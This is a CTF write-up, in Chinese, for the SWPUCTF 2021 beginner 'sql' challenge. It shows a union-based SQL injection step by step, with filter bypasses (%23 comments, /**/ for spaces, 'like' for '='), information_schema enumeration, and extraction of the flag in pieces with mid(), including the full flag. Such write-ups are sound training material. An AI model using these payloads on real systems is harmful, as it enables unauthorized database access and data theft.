# [SWPUCTF 2021 新生赛]sql # [SWPUCTF 2021 新生赛]sql `?wllm=1'`,存在 sql 注入漏洞 ![[SWPUCTF 2021 新生赛]sql-1](https://pic.imgdb.cn/item/654ee5b5c458853aef55b932.jpg) `?wllm=1'--+`,弹出警告,逐一排查发现过滤了`+`,用 `#` 来代替 `--+` ![[SWPUCTF 2021 新生赛]sql-2](https://pic.imgdb.cn/item/654ee61bc458853aef56c4d9.jpg) `?wllm=1'%23`,页面恢复正常,为字符型 (`%23` 是 `#` 的 url 编码形式) ![[SWPUCTF 2021 新生赛]sql-3](https://pic.imgdb.cn/item/654ee6bac458853aef586898.jpg) `?wllm=1'order by 1%23`,弹出警告,逐一排查发现过滤了空格,用 `/**/` 来代替空格 ![[SWPUCTF 2021 新生赛]sql-4](https://pic.imgdb.cn/item/654ee7a6c458853aef5add30.jpg) `?wllm=1'order/**/by/**/3%23`,页面正常显示;`?wllm=1'order/**/by/**/4%23`,页面报错,判断有 3 个字段(列) ![[SWPUCTF 2021 新生赛]sql-5](https://pic.imgdb.cn/item/654ee8b3c458853aef5dac27.jpg) `?wllm=-1'union/**/select/**/1,2,3%23`,找到回显点 ![[SWPUCTF 2021 新生赛]sql-6](https://pic.imgdb.cn/item/654ee928c458853aef5ee7f9.jpg) `-1'union/**/select/**/1,database(),3%23`,查询库名为 test_db `?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="test_db"%23`,弹出警告,逐一排查发现过滤了 `=` ,用 `like` 替代 `?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"test_db"%23`,查询表名有 LTLT_flag、users `?wllm=-1'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"LTLT_flag"%23`,查询字段有 id、flag `?wllm=-1'union/**/select/**/1,flag,3/**/from/**/LTLT_flag%23`,查询 flag 字段的值,得到残缺的 flag :NSSCTF{d864dca3-5b50 这个回显点只能显示 20 个字,可以利用字符串处理函数把 20 个字后面的内容显示出来 ![[SWPUCTF 2021 新生赛]sql-7](https://pic.imgdb.cn/item/654eed9ac458853aef6b4e87.jpg) `?wllm=-1'union/**/select/**/1,mid(flag,21,20),3/**/from/**/LTLT_flag%23` ( mid 没被过滤 ) ![[SWPUCTF 2021 新生赛]sql-8](https://pic.imgdb.cn/item/654eefb2c458853aef71cc59.jpg) `?wllm=-1'union/**/select/**/1,mid(flag,41,20),3/**/from/**/LTLT_flag%23` ![[SWPUCTF 2021 新生赛]sql-9](https://pic.imgdb.cn/item/654ef009c458853aef72b379.jpg) 拼接成完整 flag :NSSCTF{d864dca3-5b50-4895-8f43-68cc96029460}